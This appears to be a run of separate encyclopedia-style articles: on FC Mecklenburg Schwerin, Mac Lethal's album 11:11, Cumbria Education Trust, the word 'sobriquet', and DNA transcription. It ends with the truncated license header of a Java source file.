Hill forts in Berkshire
Hills of Oxfordshire
Geography of the River Thames
Nature reserves in Oxfordshire
Former populated places in Oxfordshire |
FC Mecklenburg Schwerin is a German football club based in Schwerin in Mecklenburg-Vorpommern. The club was formed from a merger in 2013 and competes in the fifth tier NOFV-Oberliga Nord. The club plays its home matches at the Sportpark Lankow. FC Mecklenburg Schwerin also has gymnastics squads and an Esports department.
History
FC Mecklenburg Schwerin was established from a merger of FC Eintracht Schwerin and FC Mecklenburg Schwerin on 28 May 2013. The club incorporates the history of several historical football clubs in Schwerin, such as Schweriner FC 03, BSG Einheit Schwerin, SC Traktor Schwerin, BSG Motor Schwerin, SG Dynamo Schwerin and ISG Schwerin.
FC Eintracht Schwerin
FC Eintracht Schwerin was formally founded as SG Schwerin in 1945, but the club can trace its history back the oldest football club in Schwerin. SG Schwerin was founded as a successor to Schweriner FC 03, which had been founded in 1903. Schweriner FC 03 was dissolved the Allied occupation authorities in 1945.
SG Schwerin became BSG Vorwärts Schwerin in 1949 and then BSG Einheit Schwerit in 1951. The next change occurred when the club was joined with the newly founded sports club SC Traktor Schwerin in 1956. SC Traktor Schwerin was also joined by parts of the team of army-sponsored ASG Vorwärts Schwerin. The football department of SC Traktor Schwerin was then joined with BSG Motor Schwerin on 1 August 1964. BSG Motor Schwerin had been founded earlier the same year.
BSG Motor Schwerin was renamed BSG Motor Kabelwerk Schwerin in 1988. The club became SV Schweriner Kabelwerk in 1990 and finally Schweriner SC in 1991. Schweriner SC was then joined by VfL Schwerin in 1992. VfL Schwerin had been known as ISG Schwerin during the East German era. The club was reformed as VfL Tiefbau in 1990. It then became VfL Schwerin in 1991 and was joined by FSV Grün-Weiß Schwerin at the same time. FSV Grün-Weiß Schwerin had been known as BSG Chemie Schwerin until 1990. The football department of Schweriner SC separated from the sports club and formed football club FC Eintracht Schwerin in 1996.
1. FSV Schwerin
FC Eintracht Schwerin was joined by 1. FSV Schwerin on 1 July 1997. 1. FSV Schwerin was originally founded as SG Volkspolizei Schwerin in 1948. The club was renamed SV Deutsche Volkspolizei Schwerin after the founding of sports association SV Deutsche Volkspolizei in 1950. The team of SV Deutsche Volkspolizei Schwerin and its place in the DDR-Liga was relocated to Rostock in 1952 where it continued as SV Deutsche Volkspolizei Rostock. The second team of SV Deutsche Volkspolizei Schwerin became the new first team instead. SV Deutsche Volkspolizei Schwerin was reformed as SG Dynamo Schwerin in 1953 and incorporated into the new sports association SV Dynamo. SG Dynamo Schwerin played its home matches at the Sportplatz Paulshöhe in the district of Ostorf in Schwerin.
SG Dynamo Schwerin advanced to the second tier DDR-Liga in the 1953–54 season. However, the club was immediately relegated to the third tier II. DDR-Liga and then suffered another relegation to the fourth tier Bezirksliga Schwerin in the 1957 season. SG Dynamo Schwerin returned to the II. DDR-Liga in 1959 season, where it struggled for four seasons. The club finally won promotion to the DDR-Liga in the 1962–63 season. SG Dynamo Schwerin remained in the DDR-Liga until German reunification. Wolf-Rüdiger Netz, who became the top goalscorer of BFC Dynamo during the East German era and who won several East German league titles with BFC Dynamo, began playing football at SG Dynamo Schwerin at 8 years old and also made his professional debut with SG Dynamo Schwerin. SG Dynamo Schwerin changed its name after the Peaceful revolution and became Polizei SV Schwerin on 17 April 1990. PSV Schwerin reached the final of the 1989-90 FDGB-Pokal, but lost 1-2 to SG Dynamo Dresden. Polizei SV Schwerin then became 1. FSV Schwerin on 1 July 1991.
FC Mecklenburg Schwerin
Schweriner SC founded a new football department short after the founding of FC Eintracht Schwerin in 1996. A new new SG Dynamo Schwerin was also formed in 2003. FC Eintracht Schwerin, Schweriner SC and SG Dynamo Schwerin joined their forces and created FC Mecklenburg Schwerin as a collaboration team in 2009. They were supported by representatives from politics and administration in Schwerin. FC Mecklenburg Schwerin then merged with FC Eintracht Schwerin and formed independent football club FC Meckenburg Schwerin on 28 May 2013. The 2020-21 Verbandliga Mecklenburg-Vorpommern was ended prematurely due to the Covid-19 pandemic. FC Mecklenburg Schwerin stood at first place and was promoted to the NOFV-Oberliga Nord. SG Dynamo Schwerin stood at first place in 2020–21 Landesliga Mecklenburg-Vorpommern West and was simultaneously promoted to the Verbandsliga Mecklenburg-Vorpommern.
Honours
Verbandsliga Mecklenburg-Vorpommern (VI)
Champions: 2015–16, 2020–21
Runners-up: 2014–15
Stadium
FC Mecklenburg Schwerin plays its home matches at the Sportpark Lankow in the district of Lankow in northwestern Schwerin. The stadium has a capacity of 1,500 seats.
Notes
References
External links
Official website of FC Mecklenburg Schwerin
Official website of SG Dynamo Schwerin
Football clubs in East Germany
Police association football clubs in Germany
Football clubs in Germany
Football clubs in Mecklenburg-Western Pomerania
Association football clubs established in 2013
Sport in Schwerin
2013 establishments in Germany |
11:11 is the second studio album by American rapper Mac Lethal. It was released on Rhymesayers Entertainment on October 9, 2007.
Critical reception
The album was described by AllMusic as "a clever, conversational rap record fueled by snarky humor and stoner cynicism." Meka Udoh of HipHopDX said, "Mac Lethal packs the album full of witty one-liners, self-deprecating humor and - as is the norm around the Rhymesayers clique - some socio-political commentary."
Track listing
Personnel
Credits adapted from liner notes.
Mac Lethal – vocals
Seven – production (1, 4, 5, 6, 7, 11, 12, 13)
Lazerbeak – production (2)
Leonard Dstroy – production (3, 8, 9, 10, 14)
John Brewer – keyboards (9, 14)
DJ Sku – turntables
Justin Mantooth – recording, mixing
MK Larada – art direction, design, illustration, photography
Jay Soldner – photography
Charts
References
Further reading
External links
2007 albums
Mac Lethal albums
Rhymesayers Entertainment albums
Albums produced by Seven (record producer)
Albums produced by Lazerbeak |
Cumbria Education Trust (formerly William Howard Trust) is a multi-academy trust of primary and secondary academies throughout Cumbria. It was established in September 2015 to sponsor the new Workington Academy following the merger of Southfield Technology College and Stainburn School and Science College.
Academies
Cumbria Education Trust currently operates 10 primary and 3 secondary academies.
Primary
Caldew Lea Primary School, Carlisle
Castle Carrock Primary School, Castle Carrock
Hensingham Primary School, Whitehaven
Longtown Primary School, Longtown
Newtown Primary School, Carlisle
Northside Primary School, Workington
Petteril Bank School, Carlisle
Tebay Primary School, Tebay
Yanwath Primary School, Penrith
Yewdale Primary School, Carlisle
Secondary
The Whitehaven Academy, Whitehaven
William Howard School, Brampton
Workington Academy, Workington
References
Multi-academy trusts |
A sobriquet ( ), or soubriquet, is a nickname, sometimes assumed, but often given by another, that is descriptive. A sobriquet is distinct from a pseudonym, as it is typically a familiar name used in place of a real name, without the need of explanation, and it often becomes more familiar than the original name.
The term sobriquet may apply to the nickname for a specific person, group of people, or place. Examples are "Emiye Menelik", a name of Emperor Menelik II of Ethiopia, who was popularly and affectionately recognized for his kindness ("emiye" means "mother" in Amharic); "Genghis Khan", who now is rarely recognized by his original name Temüjin ("Genghis Khan" means "universal ruler" in Mongolian); and Mohandas Gandhi, who is better known as "Mahatma" Gandhi ("mahatma" means "great soul" in Sanskrit). Well-known places often have sobriquets, such as New York City, often referred to as the "Big Apple", or Rome, nicknamed the "Eternal City".
Etymology
The modern French spelling is . Two early variants of the term are found: and . The first early spelling variant, "soubriquet", remains in use and is considered the likely origin.
The second early spelling variant suggests derivation from the initial form , foolish, and the second part, , is a French adaptation of Italian , diminutive of , knave, possibly connected with , rogue, which is supposed to be a derivative of the German , to break; but the philologist Walter William Skeat considers this spelling to be an example of false etymology and argues the real origin should be sought in the form .
Émile Littré gives an early-14th-century soubsbriquet as meaning a chuck under the chin, and this would be derived from soubs, mod. sous (), under, and briquet or bruchel, the brisket, or lower part of the throat.
Use
Sobriquets often are found in music, sports, comedy and politics. Candidates and political figures often are branded with sobriquets, either while living or posthumously. For example, president of the United States Abraham Lincoln came to be known as "Honest Abe". Sobriquets have been used in writing and literature since as early as the dead sea scrolls.
In the A Dictionary of Modern English Usage (1926), Henry Watson Fowler warned: "Now the sobriquet habit is not a thing to be acquired, but a thing to be avoided; & the selection that follows is compiled for the purpose not of assisting but of discouraging it." He included the sobriquet among what he termed the "battered ornaments" of the language, but opinion on their use varies. Sobriquets remain a common feature of speech today.
Examples
The King (of rock and roll) – Elvis Presley, famous vocalist and musician
The Lion City – Singapore, the city-state, also known as Little Red Dot, The Garden City
The Big Yin – Billy Connolly, Glaswegian comedian commonly referred to as "The Big Yin", meaning "The Big One" in Scots
The Big Apple – New York City
The Big Smoke – London
Godzone – New Zealand, from "God's own country"
Albion – Britain
Columbia – The United States or the Americas, poetic name
Dixie, Dixieland (from the Mason–Dixon line) – the eleven Southern states that seceded and fought against the U.S. in the American Civil War
The Fourth Estate – the press
Land of the Rising Sun – Japan
Pearl of the Orient – the Philippines, referring to its location in the Southeast Asia (or the East, with "Orient" meaning "East")
Graveyard of Empires – Afghanistan
Uncle Sam – the U.S. in general or specifically, its government (likely from the initials "U.S.")
John Bull – the UK in general or specifically, its government (originally an attack against the Whigs, their foreign policy, and their financiers who were profiting from wars with other nations).
Uncle Joe – Joseph Stalin
The Sun King – Louis XIV of France
Papa Doc – François Duvalier, 34th president of Haiti
The Sage of Chelsea – Thomas Carlyle, Scots philosopher
The War to End All Wars – World War I; since World War II, used ironically
The Windy City – Chicago, Illinois
The Motor City – Detroit, Michigan
Man's best friend – dogs, derived from the origins of dogs, it indicates the relationship that has developed between the two species as they have each evolved to form a symbiotic relationship that is unique among human relationships to domestic animals.
References
Citations
Sources
External links
Semantics
Word play |
Transcription is the process of copying a segment of DNA into RNA. The segments of DNA transcribed into RNA molecules that can encode proteins are said to produce messenger RNA (mRNA). Other segments of DNA are copied into RNA molecules called non-coding RNAs (ncRNAs). mRNA comprises only 1–3% of total RNA samples. Less than 2% of the human genome can be transcribed into mRNA (Human genome#Coding vs. noncoding DNA), while at least 80% of mammalian genomic DNA can be actively transcribed (in one or more types of cells), with the majority of this 80% considered to be ncRNA.
Both DNA and RNA are nucleic acids, which use base pairs of nucleotides as a complementary language. During transcription, a DNA sequence is read by an RNA polymerase, which produces a complementary, antiparallel RNA strand called a primary transcript.
Transcription proceeds in the following general steps:
RNA polymerase, together with one or more general transcription factors, binds to promoter DNA.
RNA polymerase generates a transcription bubble, which separates the two strands of the DNA helix. This is done by breaking the hydrogen bonds between complementary DNA nucleotides.
RNA polymerase adds RNA nucleotides (which are complementary to the nucleotides of one DNA strand).
RNA sugar-phosphate backbone forms with assistance from RNA polymerase to form an RNA strand.
Hydrogen bonds of the RNA–DNA helix break, freeing the newly synthesized RNA strand.
If the cell has a nucleus, the RNA may be further processed. This may include polyadenylation, capping, and splicing.
The RNA may remain in the nucleus or exit the cytoplasm through the nuclear pore complex.
If the stretch of DNA is transcribed into an RNA molecule that encodes a protein, the RNA is termed messenger RNA (mRNA); the mRNA, in turn, serves as a template for the protein's synthesis through translation. Other stretches of DNA may be transcribed into small non-coding RNAs such as microRNA, transfer RNA (tRNA), small nucleolar RNA (snoRNA), small nuclear RNA (snRNA), or enzymatic RNA molecules called ribozymes as well as larger non-coding RNAs such as ribosomal RNA (rRNA), and long non-coding RNA (lncRNA). Overall, RNA helps synthesize, regulate, and process proteins; it, therefore, plays a fundamental role in performing functions within a cell.
In virology, the term transcription may also be used when referring to mRNA synthesis from an RNA molecule (i.e., equivalent to RNA replication). For instance, the genome of a negative-sense single-stranded RNA (ssRNA -) virus may be a template for a positive-sense single-stranded RNA (ssRNA +). This is because the positive-sense strand contains the sequence information needed to translate the viral proteins needed for viral replication. This process is catalyzed by a viral RNA replicase.
Background
A DNA transcription unit encoding for a protein may contain both a coding sequence, which will be translated into the protein, and regulatory sequences, which direct and regulate the synthesis of that protein. The regulatory sequence before ("upstream" from) the coding sequence is called the five prime untranslated regions (5'UTR); the sequence after ("downstream" from) the coding sequence is called the three prime untranslated regions (3'UTR).
As opposed to DNA replication, transcription results in an RNA complement that includes the nucleotide uracil (U) in all instances where thymine (T) would have occurred in a DNA complement.
Only one of the two DNA strands serves as a template for transcription. The antisense strand of DNA is read by RNA polymerase from the 3' end to the 5' end during transcription (3' → 5'). The complementary RNA is created in the opposite direction, in the 5' → 3' direction, matching the sequence of the sense strand except switching uracil for thymine. This directionality is because RNA polymerase can only add nucleotides to the 3' end of the growing mRNA chain. This use of only the 3' → 5' DNA strand eliminates the need for the Okazaki fragments that are seen in DNA replication. This also removes the need for an RNA primer to initiate RNA synthesis, as is the case in DNA replication.
The non-template (sense) strand of DNA is called the coding strand, because its sequence is the same as the newly created RNA transcript (except for the substitution of uracil for thymine). This is the strand that is used by convention when presenting a DNA sequence.
Transcription has some proofreading mechanisms, but they are fewer and less effective than the controls for copying DNA. As a result, transcription has a lower copying fidelity than DNA replication.
Major steps
Transcription is divided into initiation, promoter escape, elongation, and termination.
Setting up for transcription
Enhancers, transcription factors, Mediator complex, and DNA loops in mammalian transcription
Setting up for transcription in mammals is regulated by many cis-regulatory elements, including core promoter and promoter-proximal elements that are located near the transcription start sites of genes. Core promoters combined with general transcription factors are sufficient to direct transcription initiation, but generally have low basal activity. Other important cis-regulatory modules are localized in DNA regions that are distant from the transcription start sites. These include enhancers, silencers, insulators and tethering elements. Among this constellation of elements, enhancers and their associated transcription factors have a leading role in the initiation of gene transcription. An enhancer localized in a DNA region distant from the promoter of a gene can have a very large effect on gene transcription, with some genes undergoing up to 100-fold increased transcription due to an activated enhancer.
Enhancers are regions of the genome that are major gene-regulatory elements. Enhancers control cell-type-specific gene transcription programs, most often by looping through long distances to come in physical proximity with the promoters of their target genes. While there are hundreds of thousands of enhancer DNA regions, for a particular type of tissue only specific enhancers are brought into proximity with the promoters that they regulate. In a study of brain cortical neurons, 24,937 loops were found, bringing enhancers to their target promoters. Multiple enhancers, each often at tens or hundred of thousands of nucleotides distant from their target genes, loop to their target gene promoters and can coordinate with each other to control transcription of their common target gene.
The schematic illustration in this section shows an enhancer looping around to come into close physical proximity with the promoter of a target gene. The loop is stabilized by a dimer of a connector protein (e.g. dimer of CTCF or YY1), with one member of the dimer anchored to its binding motif on the enhancer and the other member anchored to its binding motif on the promoter (represented by the red zigzags in the illustration). Several cell function specific transcription factors (there are about 1,600 transcription factors in a human cell) generally bind to specific motifs on an enhancer and a small combination of these enhancer-bound transcription factors, when brought close to a promoter by a DNA loop, govern level of transcription of the target gene. Mediator (a complex usually consisting of about 26 proteins in an interacting structure) communicates regulatory signals from enhancer DNA-bound transcription factors directly to the RNA polymerase II (pol II) enzyme bound to the promoter.
Enhancers, when active, are generally transcribed from both strands of DNA with RNA polymerases acting in two different directions, producing two enhancer RNAs (eRNAs) as illustrated in the Figure. An inactive enhancer may be bound by an inactive transcription factor. Phosphorylation of the transcription factor may activate it and that activated transcription factor may then activate the enhancer to which it is bound (see small red star representing phosphorylation of transcription factor bound to enhancer in the illustration). An activated enhancer begins transcription of its RNA before activating transcription of messenger RNA from its target gene.
CpG island methylation and demethylation
Transcription regulation at about 60% of promoters is also controlled by methylation of cytosines within CpG dinucleotides (where 5’ cytosine is followed by 3’ guanine or CpG sites). 5-methylcytosine (5-mC) is a methylated form of the DNA base cytosine (see Figure). 5-mC is an epigenetic marker found predominantly within CpG sites. About 28 million CpG dinucleotides occur in the human genome. In most tissues of mammals, on average, 70% to 80% of CpG cytosines are methylated (forming 5-methylCpG or 5-mCpG). Methylated cytosines within 5’cytosine-guanine 3’ sequences often occur in groups, called CpG islands. About 60% of promoter sequences have a CpG island while only about 6% of enhancer sequences have a CpG island. CpG islands constitute regulatory sequences, since if CpG islands are methylated in the promoter of a gene this can reduce or silence gene transcription.
DNA methylation regulates gene transcription through interaction with methyl binding domain (MBD) proteins, such as MeCP2, MBD1 and MBD2. These MBD proteins bind most strongly to highly methylated CpG islands. These MBD proteins have both a methyl-CpG-binding domain as well as a transcription repression domain. They bind to methylated DNA and guide or direct protein complexes with chromatin remodeling and/or histone modifying activity to methylated CpG islands. MBD proteins generally repress local chromatin such as by catalyzing the introduction of repressive histone marks, or creating an overall repressive chromatin environment through nucleosome remodeling and chromatin reorganization.
As noted in the previous section, transcription factors are proteins that bind to specific DNA sequences in order to regulate the expression of a gene. The binding sequence for a transcription factor in DNA is usually about 10 or 11 nucleotides long. As summarized in 2009, Vaquerizas et al. indicated there are approximately 1,400 different transcription factors encoded in the human genome by genes that constitute about 6% of all human protein encoding genes. About 94% of transcription factor binding sites (TFBSs) that are associated with signal-responsive genes occur in enhancers while only about 6% of such TFBSs occur in promoters.
EGR1 protein is a particular transcription factor that is important for regulation of methylation of CpG islands. An EGR1 transcription factor binding site is frequently located in enhancer or promoter sequences. There are about 12,000 binding sites for EGR1 in the mammalian genome and about half of EGR1 binding sites are located in promoters and half in enhancers. The binding of EGR1 to its target DNA binding site is insensitive to cytosine methylation in the DNA.
While only small amounts of EGR1 transcription factor protein are detectable in cells that are un-stimulated, translation of the EGR1 gene into protein at one hour after stimulation is drastically elevated. Production of EGR1 transcription factor proteins, in various types of cells, can be stimulated by growth factors, neurotransmitters, hormones, stress and injury. In the brain, when neurons are activated, EGR1 proteins are up-regulated and they bind to (recruit) the pre-existing TET1 enzymes that are produced in high amounts in neurons. TET enzymes can catalyse demethylation of 5-methylcytosine. When EGR1 transcription factors bring TET1 enzymes to EGR1 binding sites in promoters, the TET enzymes can demethylate the methylated CpG islands at those promoters. Upon demethylation, these promoters can then initiate transcription of their target genes. Hundreds of genes in neurons are differentially expressed after neuron activation through EGR1 recruitment of TET1 to methylated regulatory sequences in their promoters.
The methylation of promoters is also altered in response to signals. The three mammalian DNA methyltransferasess (DNMT1, DNMT3A, and DNMT3B) catalyze the addition of methyl groups to cytosines in DNA. While DNMT1 is a "maintenance" methyltransferase, DNMT3A and DNMT3B can carry out new methylations. There are also two splice protein isoforms produced from the DNMT3A gene: DNA methyltransferase proteins DNMT3A1 and DNMT3A2.
The splice isoform DNMT3A2 behaves like the product of a classical immediate-early gene and, for instance, it is robustly and transiently produced after neuronal activation. Where the DNA methyltransferase isoform DNMT3A2 binds and adds methyl groups to cytosines appears to be determined by histone post translational modifications.
On the other hand, neural activation causes degradation of DNMT3A1 accompanied by reduced methylation of at least one evaluated targeted promoter.
Initiation
Transcription begins with the binding of RNA polymerase, together with one or more general transcription factors, to a specific DNA sequence referred to as a "promoter" to form an RNA polymerase-promoter "closed complex". In the "closed complex" the promoter DNA is still fully double-stranded.
RNA polymerase, assisted by one or more general transcription factors, then unwinds approximately 14 base pairs of DNA to form an RNA polymerase-promoter "open complex". In the "open complex" the promoter DNA is partly unwound and single-stranded. The exposed, single-stranded DNA is referred to as the "transcription bubble."
RNA polymerase, assisted by one or more general transcription factors, then selects a transcription start site in the transcription bubble, binds to an initiating NTP and an extending NTP (or a short RNA primer and an extending NTP) complementary to the transcription start site sequence, and catalyzes bond formation to yield an initial RNA product.
In bacteria, RNA polymerase holoenzyme consists of five subunits: 2 α subunits, 1 β subunit, 1 β' subunit, and 1 ω subunit. In bacteria, there is one general RNA transcription factor known as a sigma factor. RNA polymerase core enzyme binds to the bacterial general transcription (sigma) factor to form RNA polymerase holoenzyme and then binds to a promoter.
(RNA polymerase is called a holoenzyme when sigma subunit is attached to the core enzyme which is consist of 2 α subunits, 1 β subunit, 1 β' subunit only). Unlike eukaryotes, the initiating nucleotide of nascent bacterial mRNA is not capped with a modified guanine nucleotide. The initiating nucleotide of bacterial transcripts bears a 5′ triphosphate (5′-PPP), which can be used for genome-wide mapping of transcription initiation sites.
In archaea and eukaryotes, RNA polymerase contains subunits homologous to each of the five RNA polymerase subunits in bacteria and also contains additional subunits. In archaea and eukaryotes, the functions of the bacterial general transcription factor sigma are performed by multiple general transcription factors that work together. In archaea, there are three general transcription factors: TBP, TFB, and TFE. In eukaryotes, in RNA polymerase II-dependent transcription, there are six general transcription factors: TFIIA, TFIIB (an ortholog of archaeal TFB), TFIID (a multisubunit factor in which the key subunit, TBP, is an ortholog of archaeal TBP), TFIIE (an ortholog of archaeal TFE), TFIIF, and TFIIH. The TFIID is the first component to bind to DNA due to binding of TBP, while TFIIH is the last component to be recruited. In archaea and eukaryotes, the RNA polymerase-promoter closed complex is usually referred to as the "preinitiation complex."
Transcription initiation is regulated by additional proteins, known as activators and repressors, and, in some cases, associated coactivators or corepressors, which modulate formation and function of the transcription initiation complex.
Promoter escape
After the first bond is synthesized, the RNA polymerase must escape the promoter. During this time there is a tendency to release the RNA transcript and produce truncated transcripts. This is called abortive initiation, and is common for both eukaryotes and prokaryotes. Abortive initiation continues to occur until an RNA product of a threshold length of approximately 10 nucleotides is synthesized, at which point promoter escape occurs and a transcription elongation complex is formed.
Mechanistically, promoter escape occurs through DNA scrunching, providing the energy needed to break interactions between RNA polymerase holoenzyme and the promoter.
In bacteria, it was historically thought that the sigma factor is definitely released after promoter clearance occurs. This theory had been known as the obligate release model. However, later data showed that upon and following promoter clearance, the sigma factor is released according to a stochastic model known as the stochastic release model.
In eukaryotes, at an RNA polymerase II-dependent promoter, upon promoter clearance, TFIIH phosphorylates serine 5 on the carboxy terminal domain of RNA polymerase II, leading to the recruitment of capping enzyme (CE). The exact mechanism of how CE induces promoter clearance in eukaryotes is not yet known.
Elongation
One strand of the DNA, the template strand (or noncoding strand), is used as a template for RNA synthesis. As transcription proceeds, RNA polymerase traverses the template strand and uses base pairing complementarity with the DNA template to create an RNA copy (which elongates during the traversal). Although RNA polymerase traverses the template strand from 3' → 5', the coding (non-template) strand and newly formed RNA can also be used as reference points, so transcription can be described as occurring 5' → 3'. This produces an RNA molecule from 5' → 3', an exact copy of the coding strand (except that thymines are replaced with uracils, and the nucleotides are composed of a ribose (5-carbon) sugar where DNA has deoxyribose (one fewer oxygen atom) in its sugar-phosphate backbone).
mRNA transcription can involve multiple RNA polymerases on a single DNA template and multiple rounds of transcription (amplification of particular mRNA), so many mRNA molecules can be rapidly produced from a single copy of a gene. The characteristic elongation rates in prokaryotes and eukaryotes are about 10–100 nts/sec. In eukaryotes, however, nucleosomes act as major barriers to transcribing polymerases during transcription elongation. In these organisms, the pausing induced by nucleosomes can be regulated by transcription elongation factors such as TFIIS.
Elongation also involves a proofreading mechanism that can replace incorrectly incorporated bases. In eukaryotes, this may correspond with short pauses during transcription that allow appropriate RNA editing factors to bind. These pauses may be intrinsic to the RNA polymerase or due to chromatin structure.
Termination
Bacteria use two different strategies for transcription termination – Rho-independent termination and Rho-dependent termination. In Rho-independent transcription termination, RNA transcription stops when the newly synthesized RNA molecule forms a G-C-rich hairpin loop followed by a run of Us. When the hairpin forms, the mechanical stress breaks the weak rU-dA bonds, now filling the DNA–RNA hybrid. This pulls the poly-U transcript out of the active site of the RNA polymerase, terminating transcription. In the "Rho-dependent" type of termination, a protein factor called "Rho" destabilizes the interaction between the template and the mRNA, thus releasing the newly synthesized mRNA from the elongation complex.
Transcription termination in eukaryotes is less well understood than in bacteria, but involves cleavage of the new transcript followed by template-independent addition of adenines at its new 3' end, in a process called polyadenylation.
Role of RNA polymerase in post-transcriptional changes in RNA
RNA polymerase plays a very crucial role in all steps including post-transcriptional changes in RNA.
As shown in the image in the right it is evident that the CTD (C Terminal Domain) is a tail that changes its shape; this tail will be used as a carrier of splicing, capping and polyadenylation, as shown in the image on the left.
Inhibitors
Transcription inhibitors can be used as antibiotics against, for example, pathogenic bacteria (antibacterials) and fungi (antifungals). An example of such an antibacterial is rifampicin, which inhibits bacterial transcription of DNA into mRNA by inhibiting DNA-dependent RNA polymerase by binding its beta-subunit, while 8-hydroxyquinoline is an antifungal transcription inhibitor. The effects of histone methylation may also work to inhibit the action of transcription. Potent, bioactive natural products like triptolide that inhibit mammalian transcription via inhibition of the XPB subunit of the general transcription factor TFIIH has been recently reported as a glucose conjugate for targeting hypoxic cancer cells with increased glucose transporter production.
Endogenous inhibitors
In vertebrates, the majority of gene promoters contain a CpG island with numerous CpG sites. When many of a gene's promoter CpG sites are methylated the gene becomes inhibited (silenced). Colorectal cancers typically have 3 to 6 driver mutations and 33 to 66 hitchhiker or passenger mutations. However, transcriptional inhibition (silencing) may be of more importance than mutation in causing progression to cancer. For example, in colorectal cancers about 600 to 800 genes are transcriptionally inhibited by CpG island methylation (see regulation of transcription in cancer). Transcriptional repression in cancer can also occur by other epigenetic mechanisms, such as altered production of microRNAs. In breast cancer, transcriptional repression of BRCA1 may occur more frequently by over-produced microRNA-182 than by hypermethylation of the BRCA1 promoter (see Low expression of BRCA1 in breast and ovarian cancers).
Transcription factories
Active transcription units are clustered in the nucleus, in discrete sites called transcription factories or euchromatin. Such sites can be visualized by allowing engaged polymerases to extend their transcripts in tagged precursors (Br-UTP or Br-U) and immuno-labeling the tagged nascent RNA. Transcription factories can also be localized using fluorescence in situ hybridization or marked by antibodies directed against polymerases. There are ~10,000 factories in the nucleoplasm of a HeLa cell, among which are ~8,000 polymerase II factories and ~2,000 polymerase III factories. Each polymerase II factory contains ~8 polymerases. As most active transcription units are associated with only one polymerase, each factory usually contains ~8 different transcription units. These units might be associated through promoters and/or enhancers, with loops forming a "cloud" around the factor.
History
A molecule that allows the genetic material to be realized as a protein was first hypothesized by François Jacob and Jacques Monod. Severo Ochoa won a Nobel Prize in Physiology or Medicine in 1959 for developing a process for synthesizing RNA in vitro with polynucleotide phosphorylase, which was useful for cracking the genetic code. RNA synthesis by RNA polymerase was established in vitro by several laboratories by 1965; however, the RNA synthesized by these enzymes had properties that suggested the existence of an additional factor needed to terminate transcription correctly.
In 1972, Walter Fiers became the first person to actually prove the existence of the terminating enzyme.
Roger D. Kornberg won the 2006 Nobel Prize in Chemistry "for his studies of the molecular basis of eukaryotic transcription".
Measuring and detecting
Transcription can be measured and detected in a variety of ways:
G-Less Cassette transcription assay: measures promoter strength
Run-off transcription assay: identifies transcription start sites (TSS)
Nuclear run-on assay: measures the relative abundance of newly formed transcripts
KAS-seq: measures single-stranded DNA generated by RNA polymerases; can work with 1,000 cells.
RNase protection assay and ChIP-Chip of RNAP: detect active transcription sites
RT-PCR: measures the absolute abundance of total or nuclear RNA levels, which may however differ from transcription rates
DNA microarrays: measures the relative abundance of the global total or nuclear RNA levels; however, these may differ from transcription rates
In situ hybridization: detects the presence of a transcript
MS2 tagging: by incorporating RNA stem loops, such as MS2, into a gene, these become incorporated into newly synthesized RNA. The stem loops can then be detected using a fusion of GFP and the MS2 coat protein, which has a high affinity, sequence-specific interaction with the MS2 stem loops. The recruitment of GFP to the site of transcription is visualized as a single fluorescent spot. This new approach has revealed that transcription occurs in discontinuous bursts, or pulses (see Transcriptional bursting). With the notable exception of in situ techniques, most other methods provide cell population averages, and are not capable of detecting this fundamental property of genes.
Northern blot: the traditional method, and until the advent of RNA-Seq, the most quantitative
RNA-Seq: applies next-generation sequencing techniques to sequence whole transcriptomes, which allows the measurement of relative abundance of RNA, as well as the detection of additional variations such as fusion genes, post-transcriptional edits and novel splice sites
Single cell RNA-Seq: amplifies and reads partial transcriptomes from isolated cells, allowing for detailed analyses of RNA in tissues, embryos, and cancers
Reverse transcription
Some viruses (such as HIV, the cause of AIDS), have the ability to transcribe RNA into DNA. HIV has an RNA genome that is reverse transcribed into DNA. The resulting DNA can be merged with the DNA genome of the host cell. The main enzyme responsible for synthesis of DNA from an RNA template is called reverse transcriptase.
In the case of HIV, reverse transcriptase is responsible for synthesizing a complementary DNA strand (cDNA) to the viral RNA genome. The enzyme ribonuclease H then digests the RNA strand, and reverse transcriptase synthesises a complementary strand of DNA to form a double helix DNA structure ("cDNA"). The cDNA is integrated into the host cell's genome by the enzyme integrase, which causes the host cell to generate viral proteins that reassemble into new viral particles. In HIV, subsequent to this, the host cell undergoes programmed cell death, or apoptosis of T cells. However, in other retroviruses, the host cell remains intact as the virus buds out of the cell.
Some eukaryotic cells contain an enzyme with reverse transcription activity called telomerase. Telomerase is a reverse transcriptase that lengthens the ends of linear chromosomes. Telomerase carries an RNA template from which it synthesizes a repeating sequence of DNA, or "junk" DNA. This repeated sequence of DNA is called a telomere and can be thought of as a "cap" for a chromosome. It is important because every time a linear chromosome is duplicated, it is shortened. With this "junk" DNA or "cap" at the ends of chromosomes, the shortening eliminates some of the non-essential, repeated sequence rather than the protein-encoding DNA sequence, that is farther away from the chromosome end.
Telomerase is often activated in cancer cells to enable cancer cells to duplicate their genomes indefinitely without losing important protein-coding DNA sequence. Activation of telomerase could be part of the process that allows cancer cells to become immortal. The immortalizing factor of cancer via telomere lengthening due to telomerase has been proven to occur in 90% of all carcinogenic tumors in vivo with the remaining 10% using an alternative telomere maintenance route called ALT or Alternative Lengthening of Telomeres.
See also
Life
Cell (biology)
Cell division
DBTSS
gene
gene regulation
gene expression
Epigenetics
Genome
Crick's central dogma, in which the product of transcription, mRNA, is translated to form polypeptides, and where it is asserted that the reverse processes never occur
Gene regulation
Long non-coding RNA
Missense mRNA
Splicing – process of removing introns from precursor messenger RNA (pre-mRNA) to make messenger RNA (mRNA)
Transcriptomics
Translation (biology)
References
External links
Interactive Java simulation of transcription initiation. From Center for Models of Life at the Niels Bohr Institute.
Interactive Java simulation of transcription interference—a game of promoter dominance in bacterial virus. From Center for Models of Life at the Niels Bohr Institute.
Virtual Cell Animation Collection, Introducing Transcription
Gene expression
Molecular biology
Cellular processes |
```java
/*
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
*
* Subject to the condition set forth below, permission is hereby granted to any
* person obtaining a copy of this software, associated documentation and/or
* data (collectively the "Software"), free of charge and under any and all
* copyright rights in the Software, and any and all patent rights owned or
* freely licensable by each licensor hereunder covering either (i) the
* unmodified Software as contributed to or provided by such licensor, or (ii)
* the Larger Works (as defined below), to deal in both
*
* (a) the Software, and
*
* (b) any piece of software and/or hardware listed in the lrgrwrks.txt file if
* one is included with the Software each a "Larger Work" to which the Software
* is contributed by such licensors),
*
* without restriction, including without limitation the rights to copy, create
* derivative works of, display, perform, and distribute the Software and make,
* use, sell, offer for sale, import, export, have made, and have sold the
* Software and the Larger Work(s), and to sublicense the foregoing rights on
* either these or other terms.
*
* This license is subject to the following condition:
*
